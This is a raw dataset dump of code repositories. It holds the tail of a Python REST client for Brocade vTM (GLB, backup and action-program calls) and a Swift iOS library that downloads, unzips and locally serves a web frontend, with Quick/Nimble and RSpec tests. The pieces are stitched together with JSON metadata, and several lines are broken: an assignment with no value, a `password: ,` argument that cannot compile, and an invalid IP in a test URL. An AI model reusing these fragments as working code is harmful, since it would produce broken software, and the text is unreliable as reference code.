name\n\n rulesStr = ''\n if rules is not None:\n for rule in rules:\n rulesStr = rulesStr + '\"{}\",'.format(rule)\n # remove the last ','\n rulesStr = rulesStr[:-1]\n\n # a location is a dict of list, with:\n # list[0] is the monitoring name\n # list[1] is the IP of the location (one IP per location allowed for now)\n locationsStr = ''\n locationsOrderStr = ''\n for key,value in locations.iteritems():\n locationsStr = locationsStr + '{{\"monitors\": [ \"{}\" ], \"ips\": [ \"{}\" ], \"location\": \"{}\"}},'.format(value[0], value[1], key)\n locationsOrderStr = locationsOrderStr + '\"{}\",'.format(key)\n # remove the last ','\n locationsStr = locationsStr[:-1]\n locationsOrderStr = locationsOrderStr[:-1]\n #print locationsStr\n\n domainsStr = ''\n for domain in domains:\n domainsStr = domainsStr + '\"{}\",'.format(domain)\n domainsStr = domainsStr[:-1]\n\n config = json.loads('{{\"properties\": {{\"basic\": {{\"rules\": [ {} ], \"location_settings\": [ {} ], \"enabled\": true, \"algorithm\": \"{}\", \"chained_location_order\": [ {} ], \"domains\": [ {} ] }} }} }}'.format(rulesStr, locationsStr, algorithm, locationsOrderStr, domainsStr))\n\n res = self._push_config(url, config, extra=extra)\n if res.status_code != 201 and res.status_code != 200:\n raise Exception(\"Failed to add GLB service\" +\n \" Result: {}, {}\".format(res.status_code, res.text))\n\n def list_backups(self):\n if self.version < 3.9:\n raise Exception(\"Backups require vTM 11.0 or newer\")\n url = self.statusUrl + \"/backups/full\" \n res = self._get_config(url)\n if res.status_code != 200:\n raise Exception(\"Failed to get Backup Listing.\" +\n \" Result: {}, {}\".format(res.status_code, res.text))\n listing = res.json()[\"children\"]\n output = {}\n for backup in [backup[\"name\"] for backup in listing]:\n url = self.statusUrl + \"/backups/full/\" + backup\n res = self._get_config(url)\n if res.status_code == 200:\n out = res.json()\n output[backup] = out[\"properties\"][\"backup\"]\n return output\n\n def create_backup(self, name, description):\n if self.version < 3.9:\n raise Exception(\"Backups require vTM 11.0 or newer\")\n url = self.statusUrl + \"/backups/full/\" + name\n description=\"\" if description is None else description\n config = {\"properties\": {\"backup\": {\"description\": description }}}\n res = self._push_config(url, config)\n if res.status_code != 201 and res.status_code != 200:\n raise Exception(\"Failed to create Backup.\" +\n \" Result: {}, {}\".format(res.status_code, res.text))\n\n def restore_backup(self, name):\n if self._proxy and self.bsdVersion < 2.4:\n raise Exception(\"Backup restoration requires BSD Version 2.6 when proxying.\")\n if self.version < 3.9:\n raise Exception(\"Backups require vTM 11.0 or newer\")\n url = self.statusUrl + \"/backups/full/\" + name +\"?restore\"\n config = {\"properties\": {}}\n res = self._push_config(url, config)\n if res.status_code != 200:\n raise Exception(\"Failed to create Backup.\" +\n \" Result: {}, {}\".format(res.status_code, res.text))\n return res.json()\n\n def delete_backup(self, name):\n if self.version < 3.9:\n raise Exception(\"Backups require vTM 11.0 or newer\")\n url = self.statusUrl + \"/backups/full/\" + name\n res = self._del_config(url)\n if res.status_code != 204:\n raise Exception(\"Failed to delete Backup.\" +\n \" Result: {}, {}\".format(res.status_code, res.text))\n\n def get_backup(self, name, b64=True):\n if self.version < 3.9:\n raise Exception(\"Backups require vTM 11.0 or newer\")\n url = self.statusUrl + \"/backups/full/\" + name\n headers = {\"Accept\": \"application/x-tar\"}\n res = self._get_config(url, headers=headers)\n if res.status_code != 200:\n raise Exception(\"Failed to download Backup.\" +\n \" Result: {}, {}\".format(res.status_code, res.text))\n backup = b64encode(res.content) if b64 else res.content\n return backup\n\n def upload_backup(self, name, backup):\n if self.version < 3.9:\n raise Exception(\"Backups require vTM 11.0 or newer\")\n url = self.statusUrl + \"/backups/full/\" + name\n res = self._push_config(url, backup, ct=\"application/x-tar\")\n if res.status_code != 201 and res.status_code != 204:\n raise Exception(\"Failed to upload Backup.\" +\n \" Result: {}, {}\".format(res.status_code, res.text))\n\n def upload_extra_file(self, name, filename):\n url = self.configUrl + \"/extra_files/\" + name\n res = self._upload_raw_binary(url, filename)\n if res.status_code != 201 and res.status_code != 204:\n raise Exception(\"Failed to upload file.\" +\n \" Result: {}, {}\".format(res.status_code, res.text))\n\n def upload_dns_zone_file(self, name, filename):\n url = self.configUrl + \"/dns_server/zone_files/\" + name\n res = self._upload_raw_binary(url, filename)\n if res.status_code != 201 and res.status_code != 204:\n raise Exception(\"Failed to upload file.\" +\n \" Result: {}, {}\".format(res.status_code, res.text))\n\n def upload_action_program(self, name, filename):\n url = self.configUrl + \"/action_programs/\" + name\n res = self._upload_raw_binary(url, filename)\n if res.status_code != 201 and res.status_code != 204:\n raise Exception(\"Failed to upload program.\" +\n \" Result: {}, {}\".format(res.status_code, res.text))\n\n def add_action_program(self, name, program, arguments):\n config = {\"properties\": {\"basic\": {\"type\": \"program\"}, \"program\": {\"arguments\": arguments, \"program\": program}}}\n url = self.configUrl + \"/actions/\" + name\n res = self._push_config(url, config)\n if res.status_code != 200 and res.status_code != 201:\n raise Exception(\"Failed to add action.\" +\n \" Result: {}, {}\".format(res.status_code, res.text))\n\n def get_event_type(self, name):\n url = self.configUrl + \"/event_types/\" + name\n res = self._get_config(url)\n if res.status_code == 404:\n return None\n elif res.status_code != 200:\n raise Exception(\"Failed to get event.\" +\n \" Result: {}, {}\".format(res.status_code, res.text))\n return res.json()\n\n def add_event_type_action(self, event, action):\n url = self.configUrl + \"/event_types/\" + event\n config = self.get_event_type(event)\n if config is None:\n return False\n entries = config[\"properties\"][\"basic\"][\"actions\"]\n if action in entries:\n return True\n entries.append(action)\n res = self._push_config(url, config)\n if res.status_code != 200:\n raise Exception(\"Failed to Set Action: {}\".format(action) +\n \" for Event: {}.\".format(event) +\n \" Result: {}, {}\".format(res.status_code, res.text))\n\n def set_global_settings(self, settings=None):\n if settings is None:\n return\n\n url = self.configUrl + \"/global_settings\"\n jsonsettings = json.loads(settings, encoding=\"utf-8\")\n\n res = self._push_config(url, jsonsettings)\n if res.status_code != 201 and res.status_code != 200:\n raise Exception(\"Failed to set global settings. Result: {}, {}\".format(res.status_code, res.text))\n\n/pyvadc/config.py\n#!/usr/bin/python\n\nfrom . import vadc\n\n\nclass VtmConfig(dict):\n\n def __init__(self, host, user, passwd):\n super(VtmConfig,self).__init__()\n self[\"brcd_sd_proxy\"] = False\n self[\"brcd_vtm_host\"] = host\n self[\"brcd_vtm_user\"] = user\n self[\"brcd_vtm_pass\"] = passwd\n\nclass BsdConfig(dict): \n\n def __init__(self, host, user, passwd):\n super(BsdConfig,self).__init__()\n self[\"brcd_sd_proxy\"] = True\n self[\"brcd_sd_host\"] = host\n self[\"brcd_sd_user\"] = user\n self[\"brcd_sd_pass\"] = \n\n"},"directory_id":{"kind":"string","value":"c6b6cb75b2b192d6348a3afc7d3d1b3b693abc85"},"languages":{"kind":"list like","value":["Python","reStructuredText"],"string":"[\n \"Python\",\n \"reStructuredText\"\n]"},"num_files":{"kind":"number","value":6,"string":"6"},"repo_language":{"kind":"string","value":"Python"},"repo_name":{"kind":"string","value":"TuxInvader/python-vadc"},"revision_id":{"kind":"string","value":"03e9f3b0fdfe51bb727559b1bb4ca3d5951e9603"},"snapshot_id":{"kind":"string","value":"9d2f211472466d083ffd49289f9257e99330f12b"}}},{"rowIdx":144,"cells":{"branch_name":{"kind":"string","value":"refs/heads/master"},"text":{"kind":"string","value":"import Foundation\nimport SwiftyJSON\n\npublic struct Manifest {\n \n public struct File: Equatable {\n \n public let path: String\n public let hash: String\n \n public init(path: String, hash: String) {\n self.path = path\n self.hash = hash\n }\n }\n \n // MARK: - Attributes\n \n public let baseUrl: String\n public let commit: String?\n public let buildAuthor: String?\n public let gitBranch: String?\n public let timestamp: Int?\n public let files: [Manifest.File]\n \n \n // MARK: - Init\n \n public init(baseUrl: String,\n commit: String?,\n buildAuthor: String?,\n gitBranch: String?,\n timestamp: Int?,\n files: [Manifest.File]) {\n self.baseUrl = baseUrl\n self.commit = commit\n self.buildAuthor = buildAuthor\n self.gitBranch = gitBranch\n self.timestamp = timestamp\n self.files = files\n }\n \n}\n\npublic func == (lhs: Manifest.File, rhs: Manifest.File) -> Bool {\n return lhs.hash == rhs.hash && lhs.path == rhs.path\n}\n\n// MARK: - Manifest Extension (Data)\n\ninternal extension Manifest {\n \n internal static var LocalName: String = \"app.json\"\n \n internal init(data: Data) throws {\n let json = JSON(data: data)\n guard let baseUrl = json[\"base_url\"].string else { throw FrontendManifestError.invalidManifest(\"Missing key: base_url\") }\n let commit = json[\"commit\"].string\n let buildAuthor = json[\"build_author\"].string\n let gitBranch = json[\"git_branch\"].string\n let timestamp = json[\"timestamp\"].int\n let files = json[\"files\"].arrayValue.flatMap { (json) -> Manifest.File? in\n guard let path = json[\"path\"].string, let hash = json[\"hash\"].string else { return nil }\n return Manifest.File(path: path, hash: hash)\n }\n self.init(baseUrl: baseUrl,\n commit: commit,\n buildAuthor: buildAuthor,\n gitBranch: gitBranch,\n timestamp: timestamp,\n files: files)\n }\n \n internal func toData() throws -> Data {\n var dictionary = [String: AnyObject]()\n dictionary[\"base_url\"] = self.baseUrl as AnyObject?\n if let commit = self.commit { dictionary[\"commit\"] = commit as AnyObject? }\n if let buildAuthor = self.buildAuthor { dictionary[\"build_author\"] = buildAuthor as AnyObject? }\n if let gitBranch = self.gitBranch { dictionary[\"git_branch\"] = gitBranch as AnyObject? }\n if let timestamp = self.timestamp { dictionary[\"timestamp\"] = timestamp as AnyObject? }\n var files: [[String: AnyObject]] = []\n self.files.forEach { file in\n files.append([\"path\": file.path as AnyObject, \"hash\": file.hash as AnyObject])\n }\n dictionary[\"files\"] = files as AnyObject?\n do {\n return try JSONSerialization.data(withJSONObject: dictionary, options: [])\n }\n catch {\n throw FrontendManifestError.unconvertibleJSON\n }\n }\n \n}\nrequire \"spec_helper\"\nrequire 'webmock/rspec'\nrequire 'zip'\nrequire 'json'\n\ndescribe \"Command\" do\n\n before :each do\n @tmp_folder = File.join File.expand_path(Dir.pwd), \"tmp\"\n @manifest_url = \"https://test.com/manifest.json\"\n @download_path = File.join File.expand_path(Dir.pwd), \"frontend.zip\"\n @subject = Frontend::Command.new(@manifest_url, @download_path)\n @manifest_json = {files:\n {\n \"a/file.txt\": \"2222\",\n \"b/file.txt\": \"44444\"\n }\n }\n stub_request(:get, @manifest_url).to_return(body: @manifest_json.to_json)\n stub_request(:get, \"https://test.com/a/file.txt\").to_return(body: \"test1\")\n stub_request(:get, \"https://test.com/b/file.txt\").to_return(body: \"test2\")\n end\n\n describe \"frontend download\" do\n before :each do\n @subject.execute\n FileUtils.rm_rf @tmp_folder\n FileUtils.mkdir @tmp_folder\n Zip::File.open(@download_path) do |zip_file|\n zip_file.each do |entry|\n f_path=File.join(@tmp_folder, entry.name)\n FileUtils.mkdir_p(File.dirname(f_path))\n entry.extract(f_path) unless File.exist?(f_path)\n end\n end\n end\n\n after :each do\n FileUtils.rm_rf @download_path\n FileUtils.rm_rf @tmp_folder\n end\n\n it \"should zip the file\" do\n expect(File.exist?(@download_path)).to be_truthy\n end\n\n describe \"manifest\" do\n it \"should include the base_url\" do\n manifest_path = File.join @tmp_folder, \"app.json\"\n manifest = JSON.parse(File.read(manifest_path))\n expect(manifest[\"base_url\"]).to eq(\"https://test.com\")\n end\n\n it \"should contain all the files\" do\n manifest_path = File.join @tmp_folder, \"app.json\"\n manifest = JSON.parse(File.read(manifest_path))\n expect(manifest[\"files\"].count).to eq(2)\n end\n end\n\n describe \"files\" do\n it \"should contain the files in the correct folders\" do\n a_file = File.read(File.join(@tmp_folder, \"a/file.txt\"))\n b_file = File.read(File.join @tmp_folder, \"b/file.txt\")\n expect(a_file).to eq(\"test1\\n\")\n expect(b_file).to eq(\"test2\\n\")\n end\n end\n end\n\nend\nimport Foundation\nimport GCDWebServer\n\ninternal class FrontendProxyRequestMapper {\n \n // MARK: - Internal\n \n internal func map(method method: String!, url: URL!, headers: [AnyHashable: Any]!, path: String!, query: [AnyHashable: Any]!, proxyResources: [ProxyResource]) -> GCDWebServerRequest? {\n return proxyResources.flatMap { [weak self] (resource) -> GCDWebServerRequest? in\n return self?.request(withResource: resource, method: method, url: url, headers: headers, path: path, query: query)\n }.first\n }\n \n // MARK: - Private\n \n private func request(withResource resource: ProxyResource, method: String!, url: URL!, headers: [AnyHashable: Any]!, path: String!, query: [AnyHashable: Any]!) -> GCDWebServerRequest? {\n guard let url = url else { return nil }\n guard let path = path else { return nil }\n if !path.contains(resource.path) { return nil }\n let proxiedUrl = URL(string: resource.url)!\n return GCDWebServerRequest(method: method,\n url: proxiedUrl,\n headers: headers,\n path: path,\n query: query)\n \n }\n \n}\nimport Foundation\nimport Quick\nimport Nimble\nimport Zip\n\n@testable import Frontend\n\nprivate class TestClass: NSObject {}\n\nprivate func unzip(name: String, path: String) {\n let url = Bundle(for: TestClass.self).url(forResource: name, withExtension: \"zip\")\n try! Zip.unzipFile(url!, destination: URL(fileURLWithPath: path), overwrite: true, password: nil, progress: nil)\n}\n\nclass FrontendFileManagerSpec: QuickSpec {\n override func spec() {\n \n var path: String!\n var zipPath: String!\n var fileManager: MockFileManager!\n var zipExtractor: MockZipExtractor!\n var subject: FrontendFileManager!\n \n beforeEach {\n path = FrontendConfiguration.defaultDirectory()\n zipPath = \"zipPath\"\n fileManager = MockFileManager()\n zipExtractor = MockZipExtractor()\n unzip(name: \"Data\", path: path)\n subject = FrontendFileManager(path: path, zipPath: zipPath, fileManager: fileManager, zipExtractor: zipExtractor)\n }\n \n describe(\"-currentPath\") {\n it(\"should return the correct value\") {\n expect(subject.currentPath()) == \"\\(path!)/Current\"\n }\n }\n \n describe(\"-enqueuedPath\") {\n it(\"should return the correct value\") {\n expect(subject.enqueuedPath()) == \"\\(path!)/Enqueued\"\n }\n }\n \n describe(\"-currentFrontendManifest\") {\n it(\"should return the correct value\") {\n expect(subject.currentFrontendManifest()).toNot(beNil())\n }\n }\n \n describe(\"-enqueuedFrontendManifest\") {\n it(\"should return the correct value\") {\n expect(subject.enqueuedFrontendManifest()).toNot(beNil())\n }\n }\n \n describe(\"-currentAvailable\") {\n it(\"should return the correct value\") {\n expect(subject.currentAvailable()) == false\n }\n }\n \n describe(\"-enqueuedAvailable\") {\n it(\"should return the correct value\") {\n expect(subject.enqueuedAvailable()) == true\n }\n }\n \n describe(\"-replaceWithEnqueued\") {\n beforeEach {\n try! subject.replaceWithEnqueued()\n }\n it(\"should remove the current one\") {\n expect(fileManager.removedAtPath) == subject.currentPath()\n }\n it(\"should copy the enqueued\") {\n expect(fileManager.movedFrom) == subject.enqueuedPath()\n expect(fileManager.movedTo) == subject.currentPath()\n }\n }\n \n describe(\"-replaceWithZipped\") {\n beforeEach {\n try! subject.replaceWithZipped()\n }\n it(\"should take the correct zip\") {\n expect(zipExtractor.zipUrl) == URL(fileURLWithPath: subject.zipPath)\n }\n it(\"should extract into the correct directory\") {\n expect(zipExtractor.destinationUrl) == URL(fileURLWithPath: subject.currentPath())\n }\n it(\"should extract it overwriting the existing content\") {\n expect(zipExtractor.overwrite) == true\n }\n }\n }\n}\n\n// MARK: - Mocks\n\nprivate class MockZipExtractor: ZipExtractor {\n \n var zipUrl: URL!\n var destinationUrl: URL!\n var overwrite: Bool!\n \n fileprivate override func unzipFile(zipFilePath: URL, destination: URL, overwrite: Bool, password: String?, progress: ((_ progress: Double) -> ())?) throws {\n self.zipUrl = zipFilePath\n self.destinationUrl = destination\n self.overwrite = overwrite\n }\n}\n\nprivate class MockFileManager: FileManager {\n var removedAtPath: String!\n var movedFrom: String!\n var movedTo: String!\n fileprivate override func removeItem(atPath path: String) throws {\n self.removedAtPath = path\n }\n \n fileprivate override func moveItem(atPath srcPath: String, toPath dstPath: String) throws {\n self.movedFrom = srcPath\n self.movedTo = dstPath\n }\n}\nimport Foundation\nimport Zip\n\ninternal class ZipExtractor {\n \n internal func unzipFile(zipFilePath: URL, destination: URL, overwrite: Bool, password: String?, progress: ((_ progress: Double) -> ())?) throws {\n try Zip.unzipFile(zipFilePath, destination: destination, overwrite: overwrite, password: , progress: progress)\n }\n \n}\nimport Foundation\n\npublic struct FrontendConfiguration {\n \n // MARK: - Attributes\n \n internal let manifestUrl: String\n internal let baseUrl: String\n internal let localPath: String\n internal let port: UInt\n internal let proxyResources: [ProxyResource]\n internal let manifestMapper: ManifestMapper\n internal let zipPath: String\n \n // MARK: - Init\n \n public init(manifestUrl: String,\n baseUrl: String,\n port: UInt,\n zipPath: String,\n proxyResources: [ProxyResource] = [],\n localPath: String = FrontendConfiguration.defaultDirectory(),\n manifestMapper: @escaping ManifestMapper = DefaultManifestMapper) {\n self.manifestUrl = manifestUrl\n self.baseUrl = baseUrl\n self.localPath = localPath\n self.port = port\n self.proxyResources = proxyResources\n self.manifestMapper = manifestMapper\n self.zipPath = zipPath\n }\n \n // MARK: - Private\n \n internal static func defaultDirectory() -> String {\n let documentsDirectory = NSSearchPathForDirectoriesInDomains(.documentDirectory, .userDomainMask, true)[0]\n return NSString(string: documentsDirectory).appendingPathComponent(\"Frontend\")\n }\n \n}\nuse_frameworks!\ntarget 'Frontend_Tests' do\n pod 'Frontend', :path => '../'\n \n pod 'Quick', \"~> 0.10\"\n pod 'Nimble', '~> 5.0'\nend\nimport Foundation\nimport Zip\n\ninternal class FrontendFileManager {\n \n // MARK: - Attributes\n \n internal let path: String\n internal let zipPath: String\n internal let fileManager: FileManager\n internal let zipExtractor: ZipExtractor\n \n // MARK: - Init\n \n internal init(path: String, zipPath: String, fileManager: FileManager = FileManager.default, zipExtractor: ZipExtractor = ZipExtractor()) {\n self.path = path\n self.zipPath = zipPath\n self.fileManager = fileManager\n self.zipExtractor = zipExtractor\n }\n \n // MARK: - Internal\n \n internal func currentPath() -> String {\n return NSString(string: self.path).appendingPathComponent(\"Current\")\n }\n \n internal func enqueuedPath() -> String {\n return NSString(string: self.path).appendingPathComponent(\"Enqueued\")\n }\n \n internal func currentFrontendManifest() -> Manifest? {\n return self.manifest(atPath: self.currentPath())\n }\n \n internal func enqueuedFrontendManifest() -> Manifest? {\n return self.manifest(atPath: self.enqueuedPath())\n }\n \n internal func currentAvailable() -> Bool {\n return self.frontend(atPath: self.currentPath())\n }\n \n internal func enqueuedAvailable() -> Bool {\n return self.frontend(atPath: self.enqueuedPath())\n }\n \n internal func replaceWithEnqueued() throws {\n if !self.enqueuedAvailable() { throw FrontendFileManagerError.notAvailable }\n try self.fileManager.removeItem(atPath: self.currentPath())\n try self.fileManager.moveItem(atPath: self.enqueuedPath(), toPath: self.currentPath())\n }\n \n internal func replaceWithZipped() throws {\n let zipFilePath: URL = URL(fileURLWithPath: self.zipPath)\n let destinationPath: URL = URL(fileURLWithPath: self.currentPath())\n try self.zipExtractor.unzipFile(zipFilePath: zipFilePath, destination: destinationPath, overwrite: true, password: nil, progress: nil)\n }\n \n // MARK: - Private\n \n fileprivate func manifest(atPath path: String) -> Manifest? {\n let manifestPath = NSString(string: path).appendingPathComponent(Manifest.LocalName)\n guard let data = try? Data(contentsOf: URL(fileURLWithPath: manifestPath)) else { return nil }\n return try? Manifest(data: data)\n }\n \n fileprivate func frontend(atPath path: String) -> Bool {\n guard let manifest = self.manifest(atPath: path) else { return false }\n for file in manifest.files {\n let filePath = NSString(string: path).appendingPathComponent(file.path)\n if !self.fileManager.fileExists(atPath: filePath) {\n return false\n }\n }\n return true\n }\n \n}\nimport Foundation\nimport Quick\nimport Nimble\nimport GCDWebServer\n\n@testable import Frontend\n\nclass FrontendRequestDispatcherSpec: QuickSpec {\n override func spec() {\n\n var session: MockSession!\n var dataTask: MockSessionDataTask!\n var response: GCDWebServerResponse!\n var responseMapper: MockResponseMapper!\n var request: URLRequest!\n var requestMapper: MockRequestMapper!\n var subject: FrontendRequestDispatcher!\n \n beforeEach {\n dataTask = MockSessionDataTask()\n session = MockSession()\n session.dataTask = dataTask\n response = GCDWebServerResponse()\n responseMapper = MockResponseMapper()\n responseMapper.response = response\n request = URLRequest(url: URL(string: \"test://test\")!)\n requestMapper = MockRequestMapper()\n requestMapper.request = request\n subject = FrontendRequestDispatcher(requestMapper: requestMapper,\n responseMapper: responseMapper,\n session: session)\n }\n \n describe(\"-dispatch:request:completion\") {\n var dispatcherResponse: GCDWebServerResponse!\n \n beforeEach {\n subject.dispatch(request: GCDWebServerRequest(), completion: { (response) in\n dispatcherResponse = response\n })\n }\n \n it(\"should complete with the correct response\") {\n expect(dispatcherResponse).to(beIdenticalTo(response))\n }\n }\n }\n}\n\n\n// MARK: - Mocks\n\nprivate class MockRequestMapper: FrontendRequestMapper {\n \n var request: URLRequest!\n \n fileprivate override func map(request: GCDWebServerRequest) -> URLRequest {\n return self.request\n }\n}\n\nprivate class MockResponseMapper: FrontendResponseMapper {\n \n var response: GCDWebServerResponse!\n \n fileprivate override func map(data: Data?, response: URLResponse?, error: Error?) -> GCDWebServerResponse {\n return self.response\n }\n}\n\nprivate class MockSession: URLSession {\n \n var dataTask: MockSessionDataTask!\n \n fileprivate override func dataTask(with request: URLRequest, completionHandler: @escaping (Data?, URLResponse?, Error?) -> Void) -> URLSessionDataTask {\n completionHandler(nil, URLResponse(), nil)\n return dataTask\n\n }\n \n}\n\nprivate class MockSessionDataTask: URLSessionDataTask {\n \n var resumed: Bool = false\n \n fileprivate override func resume() {\n self.resumed = true\n }\n}\nimport Foundation\nimport Quick\nimport Nimble\nimport GCDWebServer\n\n@testable import Frontend\n\nclass FrontendServerSpec: QuickSpec {\n override func spec() {\n var subject: FrontendServer!\n var server: MockGCDServer!\n var path: String!\n var proxyResources: [ProxyResource]!\n var port: UInt!\n var configurator: MockFrontendConfigurator!\n \n beforeEach {\n server = MockGCDServer()\n path = \"/path\"\n proxyResources = []\n port = 8080\n configurator = MockFrontendConfigurator(proxyResources: [])\n subject = FrontendServer(path: path, port: port, proxyResources: proxyResources, server: server, configurator: configurator)\n }\n \n describe(\"-start\") {\n var started: Bool!\n \n beforeEach {\n started = subject.start()\n }\n \n it(\"should return the correct value\") {\n expect(started) == true\n }\n \n it(\"should start with the correct port\") {\n expect(server.startedPort) == port\n }\n \n it(\"should start with no bonjour name\") {\n expect(server.startedBonjourName).to(beNil())\n }\n \n it(\"should configure the frontend with the correct directory path\") {\n expect(configurator.configuredDirectoryPath) == path\n }\n \n it(\"should configure the frontend with the correct server\") {\n expect(configurator.configuredServer).to(beIdenticalTo(subject.server))\n }\n }\n }\n}\n\n// MARK: - Mock\n\nprivate class MockGCDServer: GCDWebServer {\n \n var startedPort: UInt!\n var startedBonjourName: String!\n \n fileprivate override func start(withPort port: UInt, bonjourName name: String!) -> Bool {\n self.startedPort = port\n self.startedBonjourName = name\n return true\n }\n\n}\n\nprivate class MockFrontendConfigurator: FrontendConfigurator {\n \n var configuredDirectoryPath: String!\n var configuredServer: GCDWebServer!\n \n fileprivate override func configure(directoryPath: String, server: GCDWebServer) {\n self.configuredDirectoryPath = directoryPath\n self.configuredServer = server\n }\n}\nimport Foundation\nimport Quick\nimport Nimble\n\n@testable import Frontend\n\nclass FrontendControllerSpec: QuickSpec {\n override func spec() {\n \n var configuration: FrontendConfiguration!\n var fileManager: MockFileManager!\n var downloader: MockDownloader!\n var server: MockServer!\n var subject: FrontendController!\n \n beforeEach {\n configuration = FrontendConfiguration(manifestUrl: \"manifestUrl\", baseUrl: \"baseURl\", port: 8080, zipPath: \"zipPath\")\n fileManager = MockFileManager(path: configuration.localPath, zipPath: configuration.zipPath)\n downloader = MockDownloader()\n server = MockServer(path: fileManager.currentPath(), port: configuration.port, proxyResources: configuration.proxyResources)\n subject = FrontendController(configuration: configuration,\n fileManager: fileManager,\n downloader: downloader,\n server: server)\n }\n \n describe(\"-setup\") {\n context(\"when the current frontend is not available\") {\n beforeEach {\n fileManager._currentAvailable = false\n _ = try? subject.setup()\n }\n it(\"should replace the current with the zipped one\") {\n expect(fileManager.replacedWithZip) == true\n }\n }\n context(\"when the there's a current frontend and an enqueued available\") {\n beforeEach {\n fileManager._currentAvailable = true\n fileManager._enqueuedAvailable = true\n try! subject.setup()\n }\n it(\"should replace the current with the enqueued one\") {\n expect(fileManager.replacedWithEnqueued) == true\n }\n }\n context(\"if there's no frontend available\") {\n beforeEach {\n fileManager._currentAvailable = false\n }\n it(\"should throw a .NoFrontendAvailable\") {\n expect {\n try subject.setup()\n }.to(throwError(FrontendControllerError.noFrontendAvailable))\n }\n }\n describe(\"download\") {\n beforeEach {\n fileManager._currentAvailable = true\n try! subject.setup()\n }\n it(\"it should download with the correct manifest\") {\n expect(downloader.downloadManifestUrl) == configuration.manifestUrl\n }\n it(\"should download with the correct base url\") {\n expect(downloader.downloadBaseUrl) == configuration.baseUrl\n }\n it(\"should download with the correct download path\") {\n expect(downloader.downloadPath) == fileManager.enqueuedPath()\n }\n }\n \n describe(\"server\") {\n beforeEach {\n fileManager._currentAvailable = true\n try! subject.setup()\n }\n it(\"should start the server\") {\n expect(server.started) == true\n }\n }\n }\n \n describe(\"-url\") {\n it(\"should have the correct format\") {\n expect(subject.url()) == \"http://127.0.0.1:\\(configuration.port)\"\n }\n }\n \n describe(\"-available\") {\n it(\"should return the correct status\") {\n expect(subject.available()) == fileManager.currentAvailable()\n }\n }\n \n describe(\"-download:replacing:progress:completion\") {\n context(\"when it errors\") {\n it(\"should notify about the error\") {\n waitUntil(action: { (done) in\n let error = NSError(domain: \"\", code: -1, userInfo: nil)\n downloader.completionError = error\n try! subject.download(replacing: false, progress: nil, completion: { (_error) in\n done()\n })\n })\n }\n }\n context(\"when it doesn't error\") {\n it(\"shouldn't send any error back\") {\n waitUntil(action: { (done) in\n try! subject.download(replacing: true, progress: nil, completion: { (_error) in\n expect(_error).to(beNil())\n done()\n })\n })\n }\n it(\"should replace if the frontend if it's specified\") {\n waitUntil(action: { (done) in\n try! subject.download(replacing: true, progress: nil, completion: { (_error) in\n expect(fileManager.replacedWithEnqueued) == true\n done()\n })\n })\n }\n }\n }\n }\n}\n\n// MARK: - Mocks\n\nprivate class MockFileManager: FrontendFileManager {\n \n var replacedWithZip: Bool = false\n var replacedWithEnqueued: Bool = false\n var _currentAvailable: Bool = false\n var _enqueuedAvailable: Bool = false\n \n fileprivate override func replaceWithZipped() throws {\n self.replacedWithZip = true\n }\n \n fileprivate override func replaceWithEnqueued() throws {\n self.replacedWithEnqueued = true\n }\n \n fileprivate override func currentAvailable() -> Bool {\n return self._currentAvailable\n }\n \n fileprivate override func enqueuedAvailable() -> Bool {\n return self._enqueuedAvailable\n }\n}\n\nprivate class MockDownloader: FrontendDownloader {\n \n var downloadManifestUrl: String!\n var downloadBaseUrl: String!\n var downloadPath: String!\n var completionError: Error?\n\n fileprivate override func download(manifestUrl: String, baseUrl: String, manifestMapper: @escaping ManifestMapper, downloadPath: String, progress: @escaping (_ downloaded: Int, _ total: Int) -> Void, completion: @escaping (Error?) -> Void) {\n self.downloadManifestUrl = manifestUrl\n self.downloadBaseUrl = baseUrl\n self.downloadPath = downloadPath\n completion(completionError)\n }\n}\n\nprivate class MockServer: FrontendServer {\n \n var started: Bool = false\n \n fileprivate override func start() -> Bool {\n self.started = true\n return true\n }\n \n}\nimport Foundation\nimport Quick\nimport Nimble\nimport GCDWebServer\n\n@testable import Frontend\n\nclass FrontendProxyRequestMapperSpec: QuickSpec {\n override func spec() {\n \n var subject: FrontendProxyRequestMapper!\n var resources: [ProxyResource]!\n var request: GCDWebServerRequest!\n \n beforeEach {\n subject = FrontendProxyRequestMapper()\n resources = [ProxyResource(path: \"/admin\", url: \"https://remote.com\")]\n }\n \n context(\"when the url is nil\") {\n beforeEach {\n request = subject.map(method: \"GET\", url: nil, headers: nil, path: nil, query: nil, proxyResources: resources)\n }\n it(\"it shouldn't return any request\") {\n expect(request).to(beNil())\n }\n }\n \n context(\"when the path is nil\") {\n beforeEach {\n request = subject.map(method: \"GET\", url: URL(string: \"https://test.com\")!, headers: nil, path: nil, query: nil, proxyResources: resources)\n }\n it(\"it shouldn't return any request\") {\n expect(request).to(beNil())\n }\n }\n \n context(\"when the path is not handled by any of the proxy resources\") {\n beforeEach {\n request = subject.map(method: \"GET\", url: URL(string: \"https://1172.16.31.10\"), headers: nil, path: \"/test\", query: nil, proxyResources: resources)\n }\n it(\"shouldn't return any request\") {\n expect(request).to(beNil())\n }\n }\n \n context(\"when the path is supported by one of the handlers\") {\n beforeEach {\n request = subject.map(method: \"GET\", url: URL(string: \"https://1172.16.31.10\"), headers: [\"key\" as NSObject: \"value\" as AnyObject], path: \"/admin/test/test2\", query: [\"key2\" as NSObject: \"value2\" as AnyObject], proxyResources: resources)\n }\n \n it(\"should proxy the request with the correct method\") {\n expect(request.method) == \"GET\"\n }\n \n it(\"should proxy the request with the correct url\") {\n expect(request.url.absoluteString) == resources.first?.url\n }\n \n it(\"should proxy the request with the correct headers\") {\n expect(request.headers as? [String: String]) == [\"key\": \"value\"]\n }\n \n it(\"should proxy the request with the correct query\") {\n expect(request.query as? [String: String]) == [\"key2\": \"value2\"]\n }\n }\n \n }\n}\nimport Foundation\nimport Quick\nimport Nimble\nimport GCDWebServer\n\n@testable import Frontend\n\nclass FrontendresponseMapperSpec: QuickSpec {\n override func spec() {\n \n var response: HTTPURLResponse!\n var data: Data!\n var error: NSError!\n var subject: FrontendResponseMapper!\n var output: GCDWebServerResponse!\n \n beforeEach {\n response = HTTPURLResponse(url: URL(string:\"http://test.com\")!, statusCode: 25, httpVersion: \"2.2\", headerFields: [\"a\": \"b\", \"content-type\": \"jpg\"])\n subject = FrontendResponseMapper()\n data = try! JSONSerialization.data(withJSONObject: [\"c\": \"d\"], options: [])\n error = NSError(domain: \"\", code: -1, userInfo: nil)\n output = subject.map(data: data, response: response, error: error)\n }\n \n it(\"should use the correct data\") {\n let outputData = try! output.readData()\n let json = try! JSONSerialization.jsonObject(with: outputData, options: []) as? [String: String]\n 